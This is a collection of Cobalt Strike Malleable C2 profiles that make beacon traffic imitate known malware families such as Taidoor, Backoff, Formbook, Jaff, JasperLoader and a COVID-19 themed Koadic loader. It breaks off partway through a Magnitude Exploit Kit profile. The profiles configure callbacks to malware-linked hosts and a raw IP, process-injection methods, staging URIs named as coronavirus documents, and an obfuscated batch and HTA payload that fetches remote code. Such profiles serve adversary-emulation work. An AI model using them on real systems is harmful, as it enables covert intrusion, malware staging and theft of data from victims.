1 # Taidoor Profile
2 # http://contagiodump.blogspot.com/2013/04/collection-of-pcap-files-from-malware.html
3 #
4 # Author: @harmj0y
5 #
6 set sample_name "Taidoor";
7
8 set sleeptime "40000"; # use a ~40 second main interval
9 set jitter "35"; # 35% jitter
10 set maxdns "255";
11 set useragent "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)";
12
13 http-get {
14
15 set uri "/login.jsp /parse.jsp /page.jsp /default.jsp /index.jsp /process.jsp /security.jsp /user.jsp";
16
17 client {
18
19 header "Connection" "Keep-Alive";
20 header "Cache-Control" "no-cache";
21
22 # encode session metadata
23 metadata {
24 netbiosu;
25 parameter "mn";
26 }
27 }
28
29 # no special server side indicators as the report didn't say anything one way
30 # or the other about these.
31 server {
32 header "Server" "Microsoft-IIS/5.0";
33 header "Content-Type" "text/html";
34 header "Connection" "close";
35
36 output {
37 base64;
38 prepend "<style>\n";
39 prepend "<head>\n";
40 prepend "<html dir=ltr>\n";
41 prepend "<!DOCTYPE HTML PUBLIC -//W3C//DTD HTML 3.2 Final//EN>\n";
42 append "\n</style>\n";
43 append "</head>\n";
44 append "</html>\n";
45 print;
46 }
47 }
48 }
49
50 http-post {
51 set uri "/submit.jsp";
52
53 client {
54
55 header "Connection" "Keep-Alive";
56 header "Cache-Control" "no-cache";
57
58 id {
59 netbios;
60 parameter "du";
61 }
62
63 output {
64 print;
65 }
66 }
67
68 server {
69 header "Server" "Microsoft-IIS/5.0";
70 header "Content-Type" "text/html";
71 header "Connection" "close";
72
73 output {
74 print;
75 }
76 }
77 }
0 #POSeidon
1 #taken from --> https://vallejo.cc/2017/07/12/analysis-of-poseidon-downloader-and-keylogger/
2 #xx0hcd
3
4
5 set sleeptime "30000";
6 set jitter "20";
7 set useragent "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; Media Center PC 6.0)";
8 set dns_idle "8.8.8.8";
9 set maxdns "235";
10
11
12 http-get {
13
14 set uri "/Baked/viewtopic.php";
15
16 client {
17
18 header "Accept" "*/*";
19 header "Content-Type" "application/x-www-form-urlencoded";
20 header "Host" "retjohnuithun.com";
21 header "Cache-Control" "no-cache";
22
23 metadata {
24 netbios;
25 prepend "PHPSESSID=";
26 header "Cookie";
27
28
29 }
30
31
32 }
33
34 server {
35
36 header "Server" "nginx/1.10.2";
37 header "Content-Type" "text/html";
38 header "Connection" "keep-alive";
39 header "X-Powered-By" "PHP/5.4.38";
40
41
42 output {
43 netbios;
44 print;
45 }
46 }
47 }
48
49 http-post {
50
51 set uri "/baked/viewtopic.php";
52
53 client {
54
55 header "Accept" "*/*";
56 header "Content-Type" "application/x-www-form-urlencoded";
57 header "Host" "retjohnuithun.com";
58 # header "Cache-Control" "no-cache";
59
60 output {
61 base64;
62 prepend "logs=";
63 prepend "vers=13.4&";
64 prepend "win=6&";
65 prepend "uinfo=dWluZm8=&";
66 prepend "uid=692207&";
67 prepend "oprat=2&";
68 print;
69
70 }
71
72
73 id {
74 base64url;
75 # prepend "PHPSESSID=";
76 header "Cookie";
77
78 }
79 }
80
81 server {
82
83 header "Server" "nginx/1.10.2";
84 header "Content-Type" "text/html";
85 header "Connection" "keep-alive";
86 header "X-Powered-By" "PHP/5.4.38";
87
88
89 output {
90 netbios;
91 print;
92 }
93 }
94 }
95
96 http-stager {
97
98 set uri_x86 "/ldl01/viewtopic.php";
99 set uri_x64 "/Ldl01/viewtopic.php";
100
101 client {
102 header "Accept" "*/*";
103 header "Content-Type" "application/x-www-form-urlencoded";
104 header "Host" "retjohnuithun.com";
105 header "Cache-Control" "no-cache";
106 }
107
108 server {
109 header "Server" "nginx/1.10.2";
110 header "Content-Type" "text/html";
111 header "Connection" "keep-alive";
112 header "X-Powered-By" "PHP/5.4.38";
113
114 }
115
116
117 }
118
119 stage {
120 #random
121 set compile_time "15 Nov 2017 12:24:14";
122 set image_size_x86 "301000";
123
124 transform-x86 {
125 strrep "beacon.dll" "winsrv.dll";
126 }
127
128 transform-x64 {
129 strrep "beacon.x64.dll" "winsrv.dll";
130 }
131
132 #yara rules from --> http://vkremez.weebly.com/cyber-intel/january-18th-2016
133 stringw "timed out";
134 stringw "AR6002";
135 stringw " delete[]";
136 stringw "horticartf.com";
137 stringw "CreateSemaphoreExW";
138 stringw "sma-se";
139 stringw "smj-NO";
140 stringw "IsValidLocaleName";
141 stringw "oprat=2&uid=%I64u&uinfo=%s&win=%d.%d&vers=%s";
142 stringw "bad exception";
143 stringw "_nextafter";
144 stringw "omni callsig'";
145 stringw "6d6h6l6p6t6x6";
146 stringw "DOMAIN error";
147 stringw "vector copy constructor iterator'";
148 stringw "- inconsistent onexit begin-end variables";
149 stringw "Monday";
150 stringw "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) x";
151 stringw "horticartf.com";
152
153 }
0 #
1 # Backoff POS Malware
2 #
3 # This profile takes steps to dress up the POST side of Beacon's C2 to
4 # look like Backoff. The GET side is left generic.
5 #
6 # Indicators from:
7 # http://blog.spiderlabs.com/2014/07/backoff-technical-analysis.html
8 # https://gsr.trustwave.com/topics/backoff-pos-malware/backoff-malware-overview/
9 #
10 # Author: @armitagehacker
11 #
12 #
13 set sample_name "Backoff POS Malware";
14
15 set sleeptime "30000"; # use a ~30s delay between callbacks
16 set jitter "10"; # throw in a 10% jitter
17
18 set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
19
20 # the relevant indicators
21 http-post {
22 set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
23
24 client {
25 header "Accept" "text/plain";
26 header "Accept-Language" "en-us";
27 header "Accept-Encoding" "text/plain";
28 header "Content-Type" "application/x-www-form-urlencoded";
29
30 id {
31 netbios;
32 parameter "id";
33 }
34
35 output {
36 base64;
37 prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
38 print;
39 }
40 }
41
42 server {
43 output {
44 print;
45 }
46 }
47 }
48
49 # No information on backoff use of GET, so generic GET request.
50 http-get {
51 set uri "/updates";
52
53 client {
54 metadata {
55 netbiosu;
56 prepend "user=";
57 header "Cookie";
58 }
59 }
60
61 server {
62 header "Content-Type" "text/plain";
63
64 output {
65 base64;
66 print;
67 }
68 }
69 }
70
0 #malware trying to take advantage of the covid19/coronavirus situtation.
1 #original article = https://isc.sans.edu/forums/diary/COVID19+Themed+Multistage+Malware/25922/
2 #link to = https://www.virustotal.com/gui/file/c3379e83cd3e8763f80010176905f147fcc126b5e7ad9faa585d5520386bd659/community
3 #additional info/pcaps = https://app.any.run/tasks/6927bb76-156f-4cb9-aced-0f5adfca01f8/
4 #koadic tool = https://github.com/zerosum0x0/koadic
5 #xx0hcd
6
7 ###Global Options###
8 set sample_name "covid19_koadic.profile";
9
10 set sleeptime "37500";
11 set jitter "33";
12 set useragent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729";
13
14 set host_stage "true";
15
16 ###DNS options###
17 set dns_idle "8.8.8.8";
18 set maxdns "245";
19 set dns_sleep "0";
20 set dns_stager_prepend "";
21 set dns_stager_subhost "";
22 set dns_max_txt "252";
23 set dns_ttl "1";
24
25 ###SMB options###
26 set pipename "ntsvcs";
27 set pipename_stager "scerpc";
28
29 ###TCP options###
30 set tcp_port "8000";
31
32 ###SSL Options###
33
34 #I only saw HTTP traffic, if using HTTPS set something to not use defaults.
35 #https-certificate {
36 #set keystore "your_store_file.store";
37 #set password "your_store_pass";
38 #}
39
40 #https-certificate {
41 # set C "US";
42 # set CN "whatever.com";
43 # set L "California";
44 # set O "whatever LLC.";
45 # set OU "local.org";
46 # set ST "CA";
47 # set validity "365";
48 #}
49
50 #code-signer {
51 #set keystore "your_keystore.jks";
52 #set password "your_password";
53 #set alias "server";
54 #}
55
56 ###HTTP-Config Block###
57 #http-config {
58 # set headers "Server, Content-Type";
59 # header "Content-Type" "text/html;charset=UTF-8";
60 # header "Server" "nginx";
61 #
62 # set trust_x_forwarded_for "false";
63 #}
64
65 ###HTTP-GET Block###
66
67 http-get {
68
69 set uri "/auto.cfg.bat";
70
71 client {
72
73 header "Host" "216.189.145.11";
74 header "Connection" "Keep-Alive";
75
76
77 metadata {
78
79 base64url;
80 prepend "SESSIONID=";
81 header "Cookie";
82
83 }
84
85 }
86
87 server {
88 header "Server" "Apache/2.2.22 (Ubuntu)";
89 header "Last-Modified" "Thu, 05 Mar 2020 01:46:51 GMT";
90 header "ETag" "41fc-e159-5a011b5f258c0";
91 header "Accept-Ranges" "bytes";
92 header "Keep-Alive" "timeout=5, max=100";
93 header "Connection" "Keep-Alive";
94 header "Content-Type" "application/x-msdos-program";
95
96 output {
97
98 netbios;
99
100 prepend "..&@cls&@set \".n..=";
101
102 append "\"";
103 append "%.n..:~49,1%%.n..:~51,1%%.n..:~16,1%%.n..:~17,1";
104 append "%.n..:~50,1%\"%.n..:~8,1%.%.n..:~53,1%%.......%";
105 append "%.n..:~23,1%%.n..:~12,1%%.n..:~19,1%%.n..:~4,1%%.n..:~29,1%%.n..:~14,1%";
106 append "%.n..:~45,1%%.n..:~62,1%%.n..:~50,1%%.n..:~48,1%%.n..:~56,1%";
107 append "%.n..:~32,1%%.n..:~41,1%%.n..:~61,1%%.n..:~49,1%%af..O.c%%.n..:~57,1%\"";
108 append "%N.lo.:~63,1%%N.lo.:~48,1%%N.lo.:~57,1%%N.lo.:~0,1%%N.lo.:~51,1%";
109 append "%N.lo.:~1,1%%N.lo.:~10,1%%N.lo.:~37,1%%N.lo.:~42,1%%N.lo.:~58,1";
110 append "%N.lo.:~8,1%%N.lo.:~59,1%%...A...%%N.lo.:~30,1%%N.lo.:~22,1%%\n";
111 append "%..h:~26,1%%..h:~7,1%%..h:~14,1%%..h:~54,1%%..h:~59,1%\"%..h:~14,1";
112 append "%..h:~55,1%%..h:~41,1%..=%..h:~39,1%%..h:~36,1%%..h:~55,1%%..h:~27,1";
113 append "%..h:~29,1%%..h:~7,1%%..h:~8,1%%..h:~56,1%%..h:~22,1%%mUFZ.qO\n";
114 append "%emq..:~25,1%%emq..:~4,1%%emq..:~50,1%%emq..:~37,1%%emq..:~11,1";
115 append "%emq..:~61,1%%emq..:~14,1%%X.bP.A.%%emq..:~45,1%%emq..:~27,1";
116 append "%emq..:~42,1%%emq..:~41,1%%emq..:~2,1%%emq..:~35,1%%emq..:~15,1\n";
117 append "%..O..:~22,1%%..O..:~13,1%%..O..:~40,1%=%..O..:~49,1%%..O..:~37,1%";
118 append "%..O..:~42,1%%..O..:~1,1%%..y.EKZ%%..O..:~58,1%%..O..:~10,1";
119 append "%..O..:~45,1%%..O..:~36,1%%..O..:~40,1%%..O..:~11,1%%..O..:~44,1%";
120 append "%..O..:~63,1%%..O..:~53,1%%..O..:~4,1%%..O..:~41,1%%..O..:~0,1\n";
121 append "%.cgK:~48,1%%.cgK:~43,1%%.cgK:~36,1%%.cgK:~45,1%%.cgK:~18,1%\"...";
122 append "%.cgK:~1,1%=%.cgK:~43,1%%.cgK:~58,1%%.cgK:~57,1%%.cgK:~47,1%";
123 append "%.cgK:~20,1%%.cgK:~63,1%%.cgK:~42,1%%.cgK:~54,1%%.cgK:~3,1%%.cgK:~27,1%";
124 append "%.cgK:~19,1%%.cgK:~18,1%%.cgK:~50,1%%.cgK:~17,1%%.cgK:~53,1%\n";
125 append "%..S.m:~46,1%%..S.m:~46,1%%..S.m:~50,1%/%..S.m:~4,1%%..S.m:~40,1%";
126 append "%..S.m:~50,1%'%..S.m:~45,1%%..S.m:~63,1%%..S.m:~31,1%%..S.m:~27,1%";
127 append "%..S.m:~29,1%%..S.m:~50,1%%..S.m:~31,1%%..S.m:~27,1%%..S.m:~27,1%";
128 append "%..S.m:~58,1%:\\Program%..S.m:~50,1%%..S.m:~46,1%%..S.m:~17,1%%..S.m:~13,1%%..S.m:~44,1%%..S.m:~63,1%%..S.m:~47,1%%..S.m:~17,1%%..S.m:~61,1%%..S.m:~7,1%%..S.m:~28,1%%....Y..%%..S.m:~63,1%%..S.m:~28,1%%..S.m:~25,1%%..S.m:~27,1%%..S.m:~50,1%%..S.m:~54,1%%..S.m:~44,1%%..S.m:~61,1%%..S.m:~26,1%%..S.m:~7,1%%..S.m:~17,1%%..S.m:~27,1%%..S.m:~5,1%%..S.m:~50,1%%..S.m:~58,1%%..S.m:~13,1%%..S.m:~17,1%%..S.m:~44,1%%.IELFnR%%..S.m:~11,1%%..S.m:~27,1%%..S.m:~63,1%%..S.m:~44,1%\n";
129 append "%..S.m:~45,1%%..S.m:~63,1%%..S.m:~31,1%%..S.m:~27,1%%..S.m:~29,1%%..MNvzZ%%..S.m:~50,1%%..S.m:~31,1%%..S.m:~27,1%%..S.m:~27,1%%..S.m:~52,1%://GoogleChromeUpdater.twilightparadox.com:448/html\n";
130 append "{%..S.m:~50,1%%..S.m:~63,1%%..S.m:~61,1%%..S.m:~31,1%%..S.m:~27,1%%BAJM..s%%..S.m:~29,1%%..S.m:~63,1%%..S.m:~1,1%%..S.m:~63,1%%..S.m:~50,1%/%..S.m:~61,1%%..S.m:~7,1%%..S.m:~44,1%%..S.m:~29,1%%..S.m:~27,1%%..S.m:~44,1%%..S.m:~50,1%%Q.G.X..%/%..S.m:~4,1%%..S.m:~35,1%%..S.m:~50,1%%..S.m:~30,1%%..S.m:~26,1%%..S.m:~27,1%%..S.m:~28,1%%..S.m:~45,1%%..S.m:~29,1%%..S.m:~27,1%%..S.m:~17,1%%..S.m:~61,1%%..S.m:~58,1%%..S.m:~31,1%%..S.m:~7,1%%..S.m:~28,1%%..S.m:~29,1%%..S.m:~50,1%%..S.m:~31,1%%..S.m:~27,1%%..S.m:~27,1%%..S.m:~52,1%://GoogleChromeUpdater.twilightparadox.com:448/html'%..S.m:~50,1%/%..S.m:~54,1%%..S.m:~58,1%%..S.m:~50,1%%..S.m:~45,1%%..S.m:~17,1%%..S.m:~11,1%%..S.m:~26,1%%..S.m:~27,1%%..S.m:~44,1%%..S.m:~50,1%%u.D....%/%..S.m:~45,1%%..S.m:~28,1%%..S.m:~50,1%%..jo...%%..S.m:~8,1%%..S.m:~10,1%%V.t.I..%}";
131
132 print;
133 }
134 }
135 }
136
137 #HTTP-GET VARIANT
138 http-get "variant_runhtml" {
139
140 set uri "/HTML";
141
142 client {
143
144 header "Accept" "*/*";
145 header "Host" "googlechromeupdater.twilightparadox.com:448";
146 header "Connection" "Keep-Alive";
147
148
149 metadata {
150
151 base64url;
152 parameter "T8CZ8I99GN";
153
154 }
155
156 parameter "50A5DMT1H2" "4de0613ada094a9da7843ced5f13403c;\\..\\..\\..\\./mshtml,RunHTMLApplication";
157
158 }
159
160 server {
161
162 header "Server" "Apache";
163
164 output {
165 netbios;
166
167 prepend "function HddnzGqisJrusLHIZYYC(HGGiTYMzde,sLZQEvXCZyyFu){var eMSnPEGHOaoxNNBH='";
168 prepend "catch (e) {}\n\n";
169 prepend "}\n";
170 prepend " window.onfocus = function() { window.blur(); }\n";
171 prepend " window.onerror = function(sMsg, sUrl, sLine) { return false; }\n";
172 prepend " {\n";
173 prepend "try\n\n";
174 prepend "window.resizeTo(2, 4);\n";
175 prepend "window.blur();\n";
176 prepend "window.moveTo(-1337, -2019);\n";
177 prepend "<script language=\"JScript\">\n";
178 prepend "<head>\n";
179 prepend "<html>\n";
180
181 append "'\n";
182 append "</script>\n";
183 append "<hta:application caption=\"no\" windowState=\"minimize\" showInTaskBar=\"no\"\n";
184 append " scroll=\"no\" navigable=\"no\" />\n";
185 append " <!-- -->\n";
186 append "</head>\n";
187 append "<body>\n";
188 append "</body>\n";
189 append "</html>";
190
191 print;
192 }
193
194 }
195
196 }
197
198 ###HTTP-Post Block###
199
200 #exfiltrates data from host.
201 http-post {
202
203 set uri "/html";
204 #set verb "GET";
205 set verb "POST";
206
207 client {
208
209 header "Accept" "*/*";
210 header "Referer" "http://googlechromeupdater.twilightparadox.com:448/html";
211 header "encoder" "1252";
212 header "shellchcp" "437";
213 header "Host" "googlechromeupdater.twilightparadox.com:448";
214
215
216 output {
217 base64url;
218 parameter "T8CZ8I99GN";
219
220 }
221
222 id {
223 base64url;
224 parameter "50A5DMT1H2";
225
226 }
227 }
228
229 server {
230
231 header "Server" "Apache";
232
233 output {
234 netbios;
235 print;
236 }
237 }
238 }
239
240 ###HTTP-Stager Block###
241 http-stager {
242
243 set uri_x86 "/RECOMMENDATIONS_CORONAVIRUS.doc";
244 set uri_x64 "/Recommendations_Coronavirus.doc";
245
246 client {
247
248 header "Host" "216.189.145.11";
249 header "Connection" "Keep-Alive";
250
251 }
252
253 server {
254
255 header "Server" "Apache/2.2.22 (Ubuntu)";
256 header "Keep-Alive" "timeout=5, max=100";
257 header "Connection" "Keep-Alive";
258
259 output {
260
261 print;
262 }
263
264 }
265 }
266
267
268 ###Malleable PE/Stage Block###
269
270 #filled this out best I could.
271 stage {
272 set checksum "0";
273 set compile_time "04 Mar 2020 17:56:00";
274 set entry_point "170000";
275 set image_size_x86 "740000";
276 set image_size_x64 "740000";
277 #set name "WWanMM.dll";
278 set userwx "false";
279 set cleanup "false";
280 set sleep_mask "false";
281 set stomppe "false";
282 set obfuscate "false";
283 set rich_header "";
284
285 set sleep_mask "false";
286
287 #set module_x86 "wwanmm.dll";
288 #set module_x64 "wwanmm.dll";
289
290 transform-x86 {
291 #prepend "\x90\x90\x90";
292 strrep "ReflectiveLoader" "";
293 strrep "beacon.dll" "";
294 }
295
296 transform-x64 {
297 #prepend "\x90\x90\x90";
298 strrep "ReflectiveLoader" "";
299 strrep "beacon.x64.dll" "";
300 }
301
302 #from yara strings = https://malpedia.caad.fkie.fraunhofer.de/details/win.koadic
303 string "{ e8???????? 8b54242c e8???????? 8b15???????? 011424 e8???????? }";
304 string "{ 50 e8???????? 6800080000 ff742404 e8???????? ff3424 }";
305 string "{ a3???????? ff7504 58 a3???????? ff7508 58 a3???????? }";
306 string "{ 56 6a20 57 e8???????? 83c40c c6043700 }";
307 string "{ 52 e8???????? eb7f 6a08 50 }";
308 string "{ e8???????? 7512 ff3424 ba32204100 59 e8???????? 7502 }";
309 string "{ 31c0 50 6834204100 ff35???????? }";
310
311 }
312
313 ###Process Inject Block###
314 process-inject {
315
316 #set allocator "NtMapViewOfSection";
317
318 set min_alloc "16700";
319
320 set userwx "false";
321
322 set startrwx "false";
323
324 transform-x86 {
325 #prepend "\x90\x90\x90";
326 }
327 transform-x64 {
328 #prepend "\x90\x90\x90";
329 }
330
331 execute {
332 CreateThread;
333 CreateRemoteThread;
334
335 CreateThread "ntdll.dll!RtlUserThreadStart+0x1000";
336
337 SetThreadContext;
338
339 NtQueueApcThread-s;
340
341 #NtQueueApcThread;
342
343 CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000";
344
345 RtlCreateUserThread;
346 }
347 }
348
349 ###Post-Ex Block###
350 post-ex {
351
352 set spawnto_x86 "%windir%\\syswow64\\rundll32.exe";
353 set spawnto_x64 "%windir%\\sysnative\\rundll32.exe";
354
355 set obfuscate "false";
356
357 set smartinject "false";
358
359 set amsi_disable "false";
360
361 }
0 #formbook malware
1 #taken from --> https://www.fireeye.com/blog/threat-research/2017/10/formbook-malware-distribution-campaigns.html
2 #xx0hcd
3
4 set sleeptime "30000";
5 set jitter "20";
6 set useragent "Mozilla Firefox/4.0";
7 set dns_idle "8.8.8.8";
8 set maxdns "235";
9
10
11 http-get {
12
13 set uri "/list/hx28/config.php";
14
15 client {
16
17 header "Host" "www.clicks-track.info";
18 header "Connection" "close";
19
20
21 metadata {
22 base64url;
23 parameter "id";
24
25 }
26
27
28 }
29
30 server {
31
32 header "Server" "Apache/2.4.18 (Ubuntu)";
33 header "Connection" "close";
34 header "Content-Type" "text/html; charset=utf-8";
35
36
37 output {
38
39 base64url;
40
41 print;
42 }
43 }
44 }
45
46 http-post {
47
48 set uri "/List/hx28/config.php";
49
50 client {
51
52 header "Host" "www.clicks-track.info";
53 header "Connection" "close";
54 #header "Cache-Control" "no-cache";
55 header "Origin" "http://www.clicks-track.info";
56 header "Content-Type" "application/x-www-form-urlencoded";
57 header "Accept" "*/*";
58 #header "Referer" "http://www.clicks-track.info/list/hx28/config.php";
59 header "Accept-Language" "en-US";
60 #header "Accept-Encoding" "gzip, deflate";
61
62 output {
63 base64url;
64 print;
65
66
67
68 }
69
70
71 id {
72 base64url;
73 parameter "id";
74 #header "Cookie";
75
76 }
77
78 }
79
80 server {
81
82 header "Server" "Apache/2.4.18 (Ubuntu)";
83 header "Connection" "close";
84 header "Content-Type" "text/html; charset=utf-8";
85
86
87 output {
88 base64url;
89 prepend "FBNG0x31";
90 append "FBNG";
91 print;
92 }
93
94 }
95 }
96
97 http-stager {
98
99 set uri_x86 "/list/HX28/config.php";
100 set uri_x64 "/list/hx28/Config.php";
101
102
103 client {
104
105 header "Host" "www.clicks-track.info";
106 header "Connection" "close";
107
108 }
109
110 server {
111
112 header "Connection" "close";
113 header "Cache-Control" "no-cache";
114 header "Content-Type" "application/x-www-form-urlencoded";
115 header "Accept" "*/*";
116 header "Accept-Language" "en-US";
117 header "Accept-Encoding" "gzip, deflate";
118
119
120 output {
121 print;
122 }
123
124 }
125
126
127 }
128
129 stage {
130 set userwx "true";
131 set compile_time "09 Jun 2012 13:19:49Z";
132 set image_size_x86 "747652";
133 set image_size_x64 "747652";
134 #set obfuscate "true";
135 }
0 #jaff ransomware
1 #mostly taken from --> https://isc.sans.edu/forums/diary/Jaff+ransomware+gets+a+makeover/22446/
2 #xx0hcd
3
4
5 set sleeptime "30000";
6 set jitter "20";
7 set useragent "Mozilla/5.2 (Windows NT 6.2; rv:50.2) Gecko/20200103 Firefox/50.2";
8 set dns_idle "8.8.8.8";
9 set maxdns "235";
10
11 #initial
12 http-get {
13
14 set uri "/af/fgJds2U";
15
16 client {
17
18 header "Accept" "*/*";
19 header "Accept-Language" "en-US";
20 header "Host" "minnessotaswordfishh.com";
21 header "Accept-Encoding" "gzip, deflate";
22 header "Connection" "Keep-Alive";
23
24
25 metadata {
26 netbios;
27 header "Cookie";
28
29
30 }
31
32
33 }
34
35 server {
36
37 header "Server" "nginx";
38 header "Etag" "15caf86-3b000-550323b001000";
39 header "Connection" "Keep-Alive";
40 header "Accept-Ranges" "bytes";
41
42
43 output {
44 netbios;
45
46 prepend ".l.q`Yo7sQIC..nA.cGlBQTu#Ptk93ZQI6cqcYo7wQIClmnA1cGlBQTucPtk.3ZQG)..c.f.V.H..L:)X.g.)>3..=T.X]4=...C+.YW8'c('=";
47
48 append ")*+......t...z.....&...4........*...H....{.....%8';+...1cGlBQTu3.tku2^Q~|G(cYo7w.JClBQTucPtk...";
49 print;
50 }
51 }
52 }
53
54 #post infection
55 http-post {
56
57 set uri "/a5/";
58 set verb "GET";
59
60 client {
61
62 header "Host" "maximusstafastoriesticks.info";
63
64 output {
65 base64url;
66 header "Cookie";
67
68 }
69
70 id {
71 base64url;
72 append ".jaff";
73 uri-append;
74
75 }
76 }
77
78 server {
79
80 header "Server" "nginx";
81 header "Content-Type" "text/plain; charset=utf-8";
82 header "Connection" "keep-alive";
83 header "Etag" "W/'7-rM9AyJuqT6iOan/xHh+AW+7K/T*'";
84
85
86 output {
87 netbios;
88 prepend "";
89 prepend "Created";
90 prepend "";
91 prepend "";
92 print;
93 }
94 }
95 }
96
97 http-stager {
98
99
100 server {
101 header "Server" "nginx";
102 header "Connection" "Keep-Alive";
103 header "Accept-Ranges" "bytes";
104
105 }
106
107
108 }
109
110 stage {
111 #did not see a compile time so used the inspection date given
112 set compile_time "23 May 2017 21:43:37";
113 set userwx "false";
114 #size in doc says '241664' c2lint wanted it bigger
115 set image_size_x86 "281664";
116 }
0 #jasperloader.profile
1 #https://blog.talosintelligence.com/2019/04/jasperloader-targets-italy.html
2 #https://app.any.run/tasks/39e6bd26-b580-4335-89de-69483d745efb/
3 #xx0hcd
4
5 ###global options###
6 #sleeptime from report, image 'Figure 22: Stage 2 — JavaScript retrieval'
7 set sleeptime "180000";
8 set jitter "33";
9 set useragent "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/587.38";
10
11 set sample_name "jasperloader.profile";
12
13 http-get {
14
15 set uri "/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php";
16
17 set verb "GET";
18
19 client {
20
21 header "Host" "cdn.zaczvk.pl";
22 header "Connection" "Keep-Alive";
23
24
25 metadata {
26 base64url;
27 parameter "vid";
28 }
29
30 }
31
32 server {
33 header "Server" "nginx/1.14.2";
34 header "Content-Type" "text/html; charset=UTF-8";
35 header "Connection" "keep-alive";
36 header "X-Powered-By" "PHP/5.4.16";
37
38 output {
39
40 netbios;
41
42 prepend "\nfiuyc= \"";
43
44 append "\";\n";
45 append "xfbjixjsytvxjyuvcaxhfehv = new Array();\n";
46 append "xfbjixjsytvxjyuvcaxhfehv.push(\"i95BtfTT\");\n";
47 append "xfbjixjsytvxjyuvcaxhfehv.push(\"C(\");\n";
48 append "xfbjixjsytvxjyuvcaxhfehv.push(\"wVC3Ea\");\n";
49 append "xfbjixjsytvxjyuvcaxhfehv.push(\"93V6x46z\");\n";
50 append "xfbjixjsytvxjyuvcaxhfehv.push(\"9E7txtA6tRS3>SzSt4w\");\n";
51 append "xfbjixjsytvxjyuvcaxhfehv.push(\"Bv9\");\n";
52 append "xfbjixjsytvxjyuvcaxhfehv.push(\"xta7\");\n";
53 append "xfbjixjsytvxjyuvcaxhfehv.push(\"49\");\n";
54
55 print;
56 }
57 }
58 }
59
60 http-post {
61
62 set uri "/";
63 set verb "GET";
64 #set verb "POST";
65
66 client {
67
68
69 header "Host" "space.bajamelide.ch";
70 header "Connection" "Keep-Alive";
71
72 output {
73 base64url;
74 parameter "b";
75 }
76
77 id {
78 base64url;
79 parameter "v";
80
81 }
82 parameter "psver" "5";
83 }
84
85 server {
86 header "Server" "nginx/1.14.2";
87 header "Content-Type" "text/html; charset=UTF-8";
88 header "Content-Length" "89";
89 header "Connection" "keep-alive";
90 header "X-Powered-By" "PHP/5.4.16";
91
92 output {
93 netbios;
94
95 # prepend "\n";
96 prepend "d|http://31.214.157.69/";
97
98 append "|AdobeAR.exe|http://cdn.zaczvk.pl/moddownloadok.php";
99 print;
100 }
101 }
102 }
103
104 http-stager {
105
106 set uri_x86 "/501";
107 set uri_x64 "/502";
108
109 client {
110 header "Host" "cloud.diminishedvaluecalifornia.com";
111 header "Connection" "Keep-Alive";
112
113 parameter "dwgvhgc" "";
114 }
115
116 server {
117 header "Server" "Apache/2.2.15 (CentOS)";
118 header "Last-Modified" "Tue, 22 Jan 2019 16:31:28 GMT";
119 header "ETag" "9f688-4-5800e82560818";
120 header "Accept-Ranges" "bytes";
121 header "Content-Length" "4";
122 header "Connection" "close";
123 header "Content-Type" "text/html; charset=UTF-8";
124
125 output{
126 prepend "500\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
127 print;
128 }
129
130 }
131
132
133 }
134
135
136
137
138 ###Malleable PE Options###
139
140 post-ex {
141
142 set spawnto_x86 "%windir%\\syswow64\\wscript.exe";
143 set spawnto_x64 "%windir%\\sysnative\\wscript.exe";
144
145 set obfuscate "false";
146
147 set smartinject "false";
148
149 set amsi_disable "false";
150
151 }
152
153 #used peclone on sample from 2nd stage gootkit using same domains, https://app.any.run/tasks/39e6bd26-b580-4335-89de-69483d745efb/
154 stage {
155 set checksum "0";
156 set compile_time "15 Apr 2015 01:24:00";
157 set entry_point "8208";
158 set image_size_x86 "2560000";
159 set image_size_x64 "2560000";
160 #set name "";
161 set userwx "false";
162 set cleanup "false";
163 set sleep_mask "false";
164 set stomppe "false";
165 set obfuscate "false";
166 set rich_header "";
167
168 set sleep_mask "false";
169
170 # set module_x86 "";
171 # set module_x64 "";
172
173 transform-x86 {
174 prepend "\x90\x90\x90";
175 strrep "ReflectiveLoader" "6ayBRVW";
176 strrep "beacon.dll" "uVRWRut";
177 }
178
179 transform-x64 {
180 prepend "\x90\x90\x90";
181 strrep "ReflectiveLoader" "6ayBRVW";
182 strrep "beacon.x64.dll" "uVRWRut";
183 }
184
185 #can set a string in the .rdata section of the beacon dll.
186 #adds a zero-terminated string
187 #string "something";
188
189 #adds a string 'as-is'
190 #data "something";
191
192 #adds a wide (UTF-16LE encoded) string
193 stringw "IMAGE_SCN_MEM_READ";
194 }
195
196
197 #controls process injection behavior
198 process-inject {
199
200 set allocator "NtMapViewOfSection";
201
202 set min_alloc "16700";
203
204 set userwx "false";
205
206 set startrwx "true";
207
208 transform-x86 {
209 prepend "\x90\x90\x90";
210 }
211 transform-x64 {
212 prepend "\x90\x90\x90";
213 }
214
215 execute {
216 CreateThread "ntdll!RtlUserThreadStart";
217 CreateThread;
218 NtQueueApcThread;
219 CreateRemoteThread;
220 RtlCreateUserThread;
221 }
222 }
0 #
1 # Magnitude Exploit Kit traffic profile
2 # http://malware-traffic-analysis.net/2014/06/17/index.html
3 #
4 # Author: @harmj0y
5 #
6 set sample_name "Magnitude Exploit Kit";
7
8 set sleeptime "45000"; # use a ~45s delay between callbacks
9 set jitter "50"; # throw in a 50% jitter
10 set maxdns "255";
11 set useragent "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)";
12
13 http-get {
14
15 set uri "/themes/index.php";
16
